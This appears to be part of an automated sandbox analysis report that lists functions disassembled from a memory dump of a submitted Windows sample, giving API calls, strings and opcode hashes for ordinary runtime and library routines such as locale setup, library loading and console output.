p, xrefs: 00007FF6C7879BD1
p, xrefs: 00007FF6C7879B59
f, xrefs: 00007FF6C7879BC9

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p$p
API String ID: 3215553584-1995029353
Opcode ID: 287f793cd9e57a200f6c54826b9ebc593c668fda19194eebe723da172aebf24d
Instruction ID: a7a35da4ec52863c84017b5839fd065d0ca17dc85abc68a6843ebf5f58d1df13
Opcode Fuzzy Hash: 287f793cd9e57a200f6c54826b9ebc593c668fda19194eebe723da172aebf24d
Instruction Fuzzy Hash: 66125862B0E14286FB249F29D1542BA7EA1FB80756F844435F7CBC66C4DF7CE9808B15

Function 00007FF6C7880BE4 Relevance: 10.8, APIs: 7, Instructions: 290COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6C7881011

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 543e3b3d023cc5dc721e80ffbc244158559b423821014bc6dfd7f15a78ec0d0f
Instruction ID: bf627df96927e53d709f3627ba46cc43acd3c173b5ecb7030d5660805d8d4426
Opcode Fuzzy Hash: 543e3b3d023cc5dc721e80ffbc244158559b423821014bc6dfd7f15a78ec0d0f
Instruction Fuzzy Hash: 2EC1C322A0EA8B91E7609F5594402BE7F91FF91B92F554136EBCE833D2DE7CE8558300

Function 00007FF6C7852050 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6C78520BB
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF6C7852103
_Getctype.LIBCPMT ref: 00007FF6C785211B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6C78521D3
_Getwctype.LIBCPMT ref: 00007FF6C7852221

Strings

bad locale name, xrefs: 00007FF6C78521F6

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: std::_$Lockit$GetctypeGetwctypeLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 1386471777-1405518554
Opcode ID: 2fb573258588d9a0732103de3035a81878e4e8febdd76704b08a3a214b084dd1
Instruction ID: 1473d137b71d0e085572a67a9df962ad74ed4253a364edea5b10ac84e185fdf8
Opcode Fuzzy Hash: 2fb573258588d9a0732103de3035a81878e4e8febdd76704b08a3a214b084dd1
Instruction Fuzzy Hash: 60518922B0AB819AFB54DFB0E4902BD3B70AF54748F044134DF8EA7A56DF38E6568304

Function 00007FF6C786CD6C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00007FF6C786CDF1
GetLastError.KERNEL32 ref: 00007FF6C786CDFF
LoadLibraryExW.KERNEL32 ref: 00007FF6C786CE29
FreeLibrary.KERNEL32 ref: 00007FF6C786CE97
GetProcAddress.KERNEL32 ref: 00007FF6C786CEA3

Strings

api-ms-, xrefs: 00007FF6C786CE11

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: d6d876a61148c08aaa09cadfa9bfd10722785b3aceef806c8e2bf92c7e5e0abf
Instruction ID: 7ca2af19205049faba0e6ee5ff4f3d3523210f2c9744244720a872b3872473a3
Opcode Fuzzy Hash: d6d876a61148c08aaa09cadfa9bfd10722785b3aceef806c8e2bf92c7e5e0abf
Instruction Fuzzy Hash: D731C725B2BB42A1EE569F56E81067A2BA4BF04BA2F590534DF9DC7790EF3CF5408340

Function 00007FF6C787AB80 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6C787AB8F
FlsGetValue.KERNEL32 ref: 00007FF6C787ABA4
FlsSetValue.KERNEL32 ref: 00007FF6C787ABC5
FlsSetValue.KERNEL32 ref: 00007FF6C787ABF2
FlsSetValue.KERNEL32 ref: 00007FF6C787AC03
FlsSetValue.KERNEL32 ref: 00007FF6C787AC14
SetLastError.KERNEL32 ref: 00007FF6C787AC2F

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: c8853e8a3b321125545d4609aa27e3826c7d41d29c11e989b72c0040a7f4de7f
Instruction ID: 9d74db9aba0f545d0848da4edc0482c914672a1e875e2e9a2e4a94ef936f9f83
Opcode Fuzzy Hash: c8853e8a3b321125545d4609aa27e3826c7d41d29c11e989b72c0040a7f4de7f
Instruction Fuzzy Hash: 96217C20B0F64742FA596F2559561795D43AF84BB2F048A34FBBFC6BDADE6CA4404201

Function 00007FF6C788C03C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF6C788C06D
GetLastError.KERNEL32 ref: 00007FF6C788C079
CloseHandle.KERNEL32 ref: 00007FF6C788C091
CreateFileW.KERNEL32 ref: 00007FF6C788C0BC
WriteConsoleW.KERNEL32 ref: 00007FF6C788C0DB

Strings

CONOUT$, xrefs: 00007FF6C788C09D

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 150489296217e134fac2ce95dd32539a7224101ed53f0799fee9b0db1a451bf2
Instruction ID: 0885ad5294bbfd4b9d5870df51772e85780f8392db4779ddb082b67aa6fd10e3
Opcode Fuzzy Hash: 150489296217e134fac2ce95dd32539a7224101ed53f0799fee9b0db1a451bf2
Instruction Fuzzy Hash: 5511B621B19B4286E7908F12E844329ABA0FB98FF6F004234EB9DC7B94CF7DD9148740

Function 00007FF6C78673DC Relevance: 9.2, APIs: 6, Instructions: 206COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF6C786744C
MultiByteToWideChar.KERNEL32 ref: 00007FF6C78674EA
LCMapStringEx.KERNEL32 ref: 00007FF6C7867553
LCMapStringEx.KERNEL32 ref: 00007FF6C78675A5
LCMapStringEx.KERNEL32 ref: 00007FF6C786764A
WideCharToMultiByte.KERNEL32 ref: 00007FF6C78676A4

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: e4ed64d3a57ea52230228e3d5e3b447285539304acb0981b31f043c28c02cd31
Instruction ID: f0b77afd60cc3e837bb016d02a4e874460bc90007d525e1e2a6b73690c487ad1
Opcode Fuzzy Hash: e4ed64d3a57ea52230228e3d5e3b447285539304acb0981b31f043c28c02cd31
Instruction Fuzzy Hash: 1B81BF72A1A78296EF608F25E4442697BE1FB44BA9F140631EB9DC7BD8EF3CD5008740

Function 00007FF6C7862740 Relevance: 9.1, APIs: 6, Instructions: 90COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6C7862755
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6C786277A
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6C78627A4
std::_Facet_Register.LIBCPMT ref: 00007FF6C786281B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6C786283C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C786284F

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 0117289e98df00da582755afb24c31f3f504ef9a4471fb3c4949e3d48aaf6a78
Instruction ID: 4cba58534150c833cff0b3ec5d760aad8468472eb4cc89a590c41f60220bb9be
Opcode Fuzzy Hash: 0117289e98df00da582755afb24c31f3f504ef9a4471fb3c4949e3d48aaf6a78
Instruction Fuzzy Hash: 2C31BE26A1BA42A0EA15DF55E8041B96B60FB94BA2F584231DFEDC73E5EF3CE541C300

Function 00007FF6C7863270 Relevance: 9.1, APIs: 6, Instructions: 90COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6C7863285
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6C78632AA
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6C78632D4
std::_Facet_Register.LIBCPMT ref: 00007FF6C786334B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6C786336C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C786337F

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 3c0f3d2b7e2db67fea3719f7c25c5b52825845983d8d7121c0e12f2b9b1ab6b5
Instruction ID: 64058f12157e94d4bbb4ac50dcd866e06a34aa6c80a76e4c125ab89e9f004e36
Opcode Fuzzy Hash: 3c0f3d2b7e2db67fea3719f7c25c5b52825845983d8d7121c0e12f2b9b1ab6b5
Instruction Fuzzy Hash: D831AF22A1AA42A5EA159F16E94417D6B60FB54BA6F480131DFEDC37E5EF3CE641C300

Function 00007FF6C7863690 Relevance: 9.1, APIs: 6, Instructions: 89COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6C78636A5
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6C78636CA
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6C78636F4
std::_Facet_Register.LIBCPMT ref: 00007FF6C786376B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6C786378C
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C786379F

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: 43d25b79fa40fe7f9d6a89727c4015db81dd33ed5e2c0de3b2d10e90f1ab0995
Instruction ID: 810aa1e1976f9866c4ff4c78df6f870e025b01f6213c850d9c8171a53854c35a
Opcode Fuzzy Hash: 43d25b79fa40fe7f9d6a89727c4015db81dd33ed5e2c0de3b2d10e90f1ab0995
Instruction Fuzzy Hash: FA31A165A1AA42A5EE159F15E8001796BA0FF55BA2F080231DFEDC77E5EF3CE541C300

Function 00007FF6C78653BC Relevance: 9.1, APIs: 6, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6C78653D1
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6C78653F6
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6C7865420
std::_Facet_Register.LIBCPMT ref: 00007FF6C7865497
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6C78654B8
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C78654CB

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: f6812382aaee9de914e41b5e315eb5c79504e231bd5c19e353e7ca146bf2b575
Instruction ID: 5ebb11b3d5663c105fac570ca907aa5e9d5875fe381f5a9c0832a0fad0a29ae5
Opcode Fuzzy Hash: f6812382aaee9de914e41b5e315eb5c79504e231bd5c19e353e7ca146bf2b575
Instruction Fuzzy Hash: E4316061A1BA46A1FF159F55E4402786B61EB54BA2F180131DBADC77E5EF3CE542C300

Function 00007FF6C786A8FC Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 320COMMONLIBRARYCODE

Download Yara Rule

APIs

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF6C786AA9A
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6C786ADC3

Strings

csm, xrefs: 00007FF6C786A9E1
csm, xrefs: 00007FF6C786AAC1
csm, xrefs: 00007FF6C786AA43

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: Is_bad_exception_allowedstd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 3523768491-393685449
Opcode ID: 01dbbc9fa7db250a30567b4084371a2519905c46085f65ccfdfdc91a1e3e9cb2
Instruction ID: 1c2aba3fb4f444a54d0386c91b3ddae66c2364e2a0e963701feb8304df0947da
Opcode Fuzzy Hash: 01dbbc9fa7db250a30567b4084371a2519905c46085f65ccfdfdc91a1e3e9cb2
Instruction Fuzzy Hash: 2BE1BF32A297829AE7209F25D4802AD3FA4FB4478AF140136DBCDD7696DE3CE681C741

Function 00007FF6C787ACF8 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF6C787AD07
FlsSetValue.KERNEL32(?,?,000078636391DE6C,00007FF6C7874BCD,?,?,?,?,00007FF6C78829BE,?,?,00000000,00007FF6C7887C0B,?,?,?), ref: 00007FF6C787AD3D
FlsSetValue.KERNEL32(?,?,000078636391DE6C,00007FF6C7874BCD,?,?,?,?,00007FF6C78829BE,?,?,00000000,00007FF6C7887C0B,?,?,?), ref: 00007FF6C787AD6A
FlsSetValue.KERNEL32(?,?,000078636391DE6C,00007FF6C7874BCD,?,?,?,?,00007FF6C78829BE,?,?,00000000,00007FF6C7887C0B,?,?,?), ref: 00007FF6C787AD7B
FlsSetValue.KERNEL32(?,?,000078636391DE6C,00007FF6C7874BCD,?,?,?,?,00007FF6C78829BE,?,?,00000000,00007FF6C7887C0B,?,?,?), ref: 00007FF6C787AD8C
SetLastError.KERNEL32 ref: 00007FF6C787ADA7

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 1fea778e53617e423dd93e48fc1f81946f1e74507dbde76822a8039bb3b95012
Instruction ID: 80cc7da8161ee1f316e2fb9ba9287476eac33405f6521d3fc364b7396fc8471e
Opcode Fuzzy Hash: 1fea778e53617e423dd93e48fc1f81946f1e74507dbde76822a8039bb3b95012
Instruction Fuzzy Hash: 97116020B0F64742FA586F2595990796E42AF44BB3F148734FBBFC6AD6DE6CB8414301

Function 00007FF6C78645A0 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 240COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C78648A0
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C78648A6
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF6C78648AC

Strings

true, xrefs: 00007FF6C786473A
false, xrefs: 00007FF6C786467E

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: false$true
API String ID: 118556049-2658103896
Opcode ID: ad251babf673da30d347f085cc8932aed423ad9c8062fdcdc27bd164a5557edd
Instruction ID: 9c3b5dffb009715c6b28aae0e1ae1bef41e5f7c4926001bd09a964026f14e404
Opcode Fuzzy Hash: ad251babf673da30d347f085cc8932aed423ad9c8062fdcdc27bd164a5557edd
Instruction Fuzzy Hash: 3E91BE22B2AA45A5EB10DF61D4402AD3BA5FB48B89F050235DF9CD7B89EF38D606C340

Function 00007FF6C7851D40 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6C7851DAB
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF6C7851DF3
_Getctype.LIBCPMT ref: 00007FF6C7851E0B
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6C7851E9B

Strings

bad locale name, xrefs: 00007FF6C7851EBE

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: std::_$Lockit$GetctypeLocinfo::_Locinfo_ctorLockit::_Lockit::~_
String ID: bad locale name
API String ID: 2967684691-1405518554
Opcode ID: 591d2bd700e3465a55b0f9c6b706778e586fa78e76f39de4335fe8b1c86bd814
Instruction ID: 8039a9988a17227295e43dff52e878cf125b39ea72819ba0175d258cf15ef7b6
Opcode Fuzzy Hash: 591d2bd700e3465a55b0f9c6b706778e586fa78e76f39de4335fe8b1c86bd814
Instruction Fuzzy Hash: 98414B22F0AB419AFB54DFB0E4902BC3B74AF44789F044434DF8EA6A99DF38D6569344

Function 00007FF6C786D39C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF6C786D3C1
GetProcAddress.KERNEL32 ref: 00007FF6C786D3D7
FreeLibrary.KERNEL32 ref: 00007FF6C786D3FE

Strings

mscoree.dll, xrefs: 00007FF6C786D3B8
CorExitProcess, xrefs: 00007FF6C786D3D0

Memory Dump Source

Source File: 00000000.00000002.2170274377.00007FF6C7851000.00000040.00000001.01000000.00000003.sdmp, Offset: 00007FF6C7850000, based on PE: true

Associated: 00000000.00000002.2170261774.00007FF6C7850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78A3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170274377.00007FF6C78AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170331863.00007FF6C78AC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2170344849.00007FF6C78AD000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6c7850000_SecuriteInfo.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 52527351ef27f021aaa8f573abae1b0b21d611b2d1a853a631961c83de09e1b0
Instruction ID: f3548e9776c26b80910fafd43dcf7281f991caf3e35105587e1bd2666e509aaa
Opcode Fuzzy Hash: 52527351ef27f021aaa8f573abae1b0b21d611b2d1a853a631961c83de09e1b0
Instruction Fuzzy Hash: CFF06221A1A70691EE148F64E8453796B20EF58762F544339C7EEC65E4DF2DD549C310

Function 00007FF6C7869CFC Relevance: 7.8, APIs: 5, Instructions: 290COMMON

Download Yara Rule

APIs

__AdjustPointer.LIBCMT ref: 00007FF6C7869E1F
__AdjustPointer.LIBCMT ref: 00007FF6C7869E6A

Memory Dump Source

